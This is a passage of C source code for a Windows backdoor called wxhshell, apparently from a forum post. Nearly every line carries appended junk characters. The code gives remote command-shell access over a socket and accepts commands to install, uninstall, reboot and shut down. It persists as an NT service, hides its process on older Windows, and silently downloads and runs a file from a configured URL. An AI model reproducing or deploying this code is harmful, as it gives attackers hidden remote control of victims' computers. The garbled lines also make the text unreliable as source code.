  } C7%R2>}?f  
  // 安装 HgQjw!  
  case 'i': { !eyLh&]5  
    if(Install()) ;73S;IPR  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); FSEf0@O:  
    else W>pe-  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); JqzoF}WH  
    break; rRe5Q  
    } W22S/s  
  // 卸载 +VUkV-kP  
  case 'r': { {lds?AuK  
    if(Uninstall()) V8n { k'  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,XT,t[w  
    else ,%9XG077  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Usf@kVQ  
    break; TUp\,T^2  
    } #<0Hvde  
  // 显示 wxhshell 所在路径 B[uyr)$  
  case 'p': { E22o-nI?1  
    char svExeFile[MAX_PATH]; e@h{Ns.1-  
    strcpy(svExeFile,"\n\r"); Bq8#'K2i,  
      strcat(svExeFile,ExeFile); xG sOnY;  
        send(wsh,svExeFile,strlen(svExeFile),0); ~}_^$l8#-Q  
    break; *u$aItx  
    } *Dp&;,b  
  // 重启 %p}vX9U')  
  case 'b': { -gs I:-Xo  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); o-8{C0>:  
    if(Boot(REBOOT)) gNZwD6GMe?  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3WwS+6R  
    else { >j?5?J"  
    closesocket(wsh); ;dzy 5o3  
    ExitThread(0); !BoGSI  
    } !`{?qQ[=  
    break; XVs]Y'* x  
    } tb&?BCp  
  // 关机 9 /H~hEVK  
  case 'd': { 31G:[;g  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); +~"IF+T RH  
    if(Boot(SHUTDOWN)) Exw d,2>  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,Q"'q0hM=  
    else { k[x-O?$O@  
    closesocket(wsh); K&[0`sH!  
    ExitThread(0); {-5)nS^_  
    } )w].m  
    break; uc,>VzdB  
    } ;u2[Ww~k  
  // 获取shell Mq91HmC(@  
  case 's': { &E`Nu (e  
    CmdShell(wsh); b~^'P   
    closesocket(wsh); /O[6PG  
    ExitThread(0); 2c Xae  
    break; ^(;x-d3  
  } o CCtjr  
  // 退出 ROkwjw  
  case 'x': { qJ;~ANwt  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); XIIq0I  
    CloseIt(wsh); %wbdg&^  
    break; u(Mbp$R' ?  
    } E3wpC#[Q1  
  // 离开 >v,X:B?+FL  
  case 'q': { v/ry" W  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ranem0KQ)]  
    closesocket(wsh); phDIUhL$z  
    WSACleanup(); 1L <TzQ  
    exit(1); U 4d7-&U  
    break; dC6>&@ VX  
        }  hE:~~ox  
  } O<vBuD2  
  } 9':Ipf&x  
G!FdTvx$  
  // 提示信息 0Jv6?7]LKa  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); WoXAOj%iW  
} 9'( _*KSH  
  } }d5]N  
0eO!,/  
  return; x)?V{YAL  
} n~0wq(8M  
/>xEpR3_A  
// shell模块句柄 a @? $#>  
int CmdShell(SOCKET sock) ^6Aa^|  
{ 8g=O0Gb  
STARTUPINFO si; S*Ea" vBA  
ZeroMemory(&si,sizeof(si)); 2[Bbdg[O  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ,.Ofv):=  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; E]q>ggeNH  
PROCESS_INFORMATION ProcessInfo; `6rLd>=R  
char cmdline[]="cmd"; 0/~p1SSun  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Cx;it/8+  
  return 0; A6szTX#0  
} TY]0aw2]|7  
jO"/5 x26  
// 自身启动模式 +/&rO,Ql  
int StartFromService(void) @C-dCC?  
{ }<G a e5  
typedef struct VY/r2o#  
{ /%m?D o  
  DWORD ExitStatus; MO ~T_6  
  DWORD PebBaseAddress; ywm"{ U? 8  
  DWORD AffinityMask; 7UBW3{d/u5  
  DWORD BasePriority; -F`gRAr-  
  ULONG UniqueProcessId; . x$V~t  
  ULONG InheritedFromUniqueProcessId; E `N`  
}   PROCESS_BASIC_INFORMATION; ,GWa3.&.d  
v_5O*F7)  
PROCNTQSIP NtQueryInformationProcess; )-+tN>Bb  
7'+`vt#E  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; kYS#P(1  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; h6~xz0,u  
=)y$&Ydj  
  HANDLE             hProcess; oxFd@WV5  
  PROCESS_BASIC_INFORMATION pbi;  e$  
>%"TrAt  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); eZ) |m  
  if(NULL == hInst ) return 0; CMC p7- v  
GGHMpQ   
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); |%4nU#GoB  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); h(2{+Y+  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Gad&3M0r  
n}NUe`E_h  
  if (!NtQueryInformationProcess) return 0; tqA-X[^  
oItC;T  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); f$ /C.E  
  if(!hProcess) return 0; g?1bEOA!  
heF'7ezv#  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; -0(+a$P7e  
2;:]Q.g  
  CloseHandle(hProcess); (QFZM"G  
i_L u  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); GF9iK|i/  
if(hProcess==NULL) return 0; aQhT*OT{Q  
rDaiA x&  
HMODULE hMod; ,9|7{j|u  
char procName[255]; bjUe+ #BL  
unsigned long cbNeeded; "7 alpjwb  
2aivc,m{r  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); pC 4uar  
]mBlXE:Z  
  CloseHandle(hProcess); #)D$\0ag  
BI2'NN\  
if(strstr(procName,"services")) return 1; // 以服务启动 [e=k<gKH  
&hpznIN  
  return 0; // 注册表启动 D6_#r=08  
}  OG IN-  
0Q%I[f8  
// 主模块 eJOo~HIWQ  
int StartWxhshell(LPSTR lpCmdLine) uF,%N   
{ t2ui9:g4j  
  SOCKET wsl; Pw|/PfG  
BOOL val=TRUE; #SLi v  
  int port=0; `5t~ Vlp  
  struct sockaddr_in door; 1%.CtTi  
~O;?;@  
  if(wscfg.ws_autoins) Install(); %|}7YH41  
Wbmqf s  
port=atoi(lpCmdLine); PClwGO8'&  
f$nZogaQ  
if(port<=0) port=wscfg.ws_port; -% B)+yq>  
k<*1mS8  
  WSADATA data; NnZ_x>R  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; :v-,-3AG  
^YPw'cZZ&  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   :B/u>  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ZCuh^  
  door.sin_family = AF_INET; {flxZ}  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 78z/D|{"  
  door.sin_port = htons(port); D//Ts`}+n  
!Je!;mEvI  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { M>Ws}Y  
closesocket(wsl); xs  >Y  
return 1; (B+zh  
} 9&c *%mm  
>GDN~'}^oz  
  if(listen(wsl,2) == INVALID_SOCKET) { > m9ge`!9  
closesocket(wsl); %]DJ-7 xE  
return 1; UJX5}36  
} 5PHAd4=bJ  
  Wxhshell(wsl); wd:SBU~f5*  
  WSACleanup(); vP<8 ,XG  
>>7m'-k%D  
return 0; $_Lcw"xO  
5[qx5|O  
} fwyz|>H_Y(  
`4]-B@ 7_  
// 以NT服务方式启动 ~f2-%~  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) YsjTC$Tx,  
{ WAw} ?&k  
DWORD   status = 0; {u7_<G7  
  DWORD   specificError = 0xfffffff; [\i1I`7pE  
[k +fkr]  
  serviceStatus.dwServiceType     = SERVICE_WIN32; bDcWPwe  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; :'dH)yO  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Y6%O9b  
  serviceStatus.dwWin32ExitCode     = 0; gJn_8\,C>Q  
  serviceStatus.dwServiceSpecificExitCode = 0; CI?M2\<g  
  serviceStatus.dwCheckPoint       = 0; D #twS  
  serviceStatus.dwWaitHint       = 0; _Ai\XS Am  
tdRnRoB  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); .7zdA IKW  
  if (hServiceStatusHandle==0) return; 5@Lz4 `  
T xwZ3E  
status = GetLastError(); | \JB/x  
  if (status!=NO_ERROR) qxwD4L`S  
{ Jqi^Z*PuX  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ?< $DQ%bf  
    serviceStatus.dwCheckPoint       = 0; ^$O,Gy)V  
    serviceStatus.dwWaitHint       = 0; [[:wSAO>6'  
    serviceStatus.dwWin32ExitCode     = status; b _0Xi  
    serviceStatus.dwServiceSpecificExitCode = specificError; Hb *&&  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); &@D,|kHk  
    return; sz b],)|18  
  } 4~{q=-]V  
j.rJfbE|X  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; #$>m`r  
  serviceStatus.dwCheckPoint       = 0; G&*2h2,]  
  serviceStatus.dwWaitHint       = 0; )![? JXf  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); {#1}YGpiVM  
} m]U`7!  
ny~~xQ"  
// 处理NT服务事件,比如:启动、停止 Vz&!N/0i  
VOID WINAPI NTServiceHandler(DWORD fdwControl) V`"A|Y  
{ 3+jqf@fO  
switch(fdwControl) 9a9{OJa6M  
{ UYb:q  
case SERVICE_CONTROL_STOP: y| %rW  
  serviceStatus.dwWin32ExitCode = 0; MY}B)`yx=  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Ey;uaqt  
  serviceStatus.dwCheckPoint   = 0; 7l3sd5  
  serviceStatus.dwWaitHint     = 0; n P4DHb&5  
  { R oWGQney  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); pTJJ.#$CEF  
  } h{cJ S9e}  
  return; toCT5E_0=  
case SERVICE_CONTROL_PAUSE: * <_8]C0>  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; FCEFg)c5=  
  break; paW7.~3 R  
case SERVICE_CONTROL_CONTINUE: +O @0gl  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; oUBn:Ir@  
  break; $/Q*@4t  
case SERVICE_CONTROL_INTERROGATE: 7.l[tKh  
  break; jsG epi9  
}; "V;M,/Q|  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); TM|ycS'  
} _YW1Mk1  
.qCD(XZ+  
// 标准应用程序主函数 ^J]~&.l  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 1yN/+Rq  
{ hIPU%  
.5zqpm  
// 获取操作系统版本 (TV ye4Z  
OsIsNt=GetOsVer(); ,$96bF "#  
GetModuleFileName(NULL,ExeFile,MAX_PATH); IPoNAi<b  
QuJ)WaJkC  
  // 从命令行安装 N?h=Zl|  
  if(strpbrk(lpCmdLine,"iI")) Install(); 1^zpO~@ S  
Vn6g(:\w  
  // 下载执行文件 j9YI6X"  
if(wscfg.ws_downexe) { gG^K\+S  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) -Ug  
  WinExec(wscfg.ws_filenam,SW_HIDE); =:zmF]j9  
} ayJKt03\O\  
M38QA  
if(!OsIsNt) { {(#>%f+|C  
// 如果时win9x,隐藏进程并且设置为注册表启动 gI qYIt  
HideProc(); <o";?^0Q  
StartWxhshell(lpCmdLine); ^{GnEqml&  
} c?{&=,u2  
else {`vF4@  
  if(StartFromService()) 7N / v  
  // 以服务方式启动 Nj_h+=UE!  
  StartServiceCtrlDispatcher(DispatchTable); Z`23z( +  
else 54w..8'  
  // 普通方式启动 Lh6G"f(n  
  StartWxhshell(lpCmdLine); dhW)<  
h`OX()N  
return 0; dw8Ce8W  
}
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只看该作者 1 发表于: 2006-10-10
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